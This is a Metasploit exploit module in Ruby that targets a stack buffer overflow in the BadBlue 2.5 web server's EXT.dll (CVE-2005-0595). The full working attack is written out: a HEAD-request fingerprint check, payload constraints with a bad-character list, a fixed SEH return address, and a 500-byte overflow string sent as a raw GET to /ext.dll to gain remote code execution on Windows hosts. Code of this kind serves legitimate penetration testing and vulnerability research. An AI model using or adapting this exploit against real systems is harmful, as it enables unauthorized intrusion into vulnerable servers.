metasploit-framework/modules/exploits/windows/http/badblue_ext_overflow.rb

71 lines
2.0 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
# However, a proper Server header is returned when requesting /index.html or using HEAD.
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
'Description' => %q{
This is a stack buffer overflow exploit for BadBlue version 2.5.
},
'Author' => 'acaro <acaro[at]jervus.it>',
'License' => BSD_LICENSE,
'References' =>
[
[ 'CVE', '2005-0595' ],
[ 'OSVDB', '14238' ],
[ 'BID', '7387' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Privileged' => true,
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
],
'DisclosureDate' => 'Apr 20 2003',
'DefaultTarget' => 0))
end
def check
info = http_fingerprint # check method
if (info =~ /BadBlue\/2\.5/)
return Exploit::CheckCode::Appears
end
Exploit::CheckCode::Safe
end
def exploit
uri = "GET /ext.dll?mfcisapicommand="
sploit = rand_text_alphanumeric(500)
seh = generate_seh_payload(target.ret)
sploit[492, seh.length] = seh
uri << sploit
print_status("Trying target #{target.name}...")
send_request_raw({ 'uri' => uri })
handler
end
end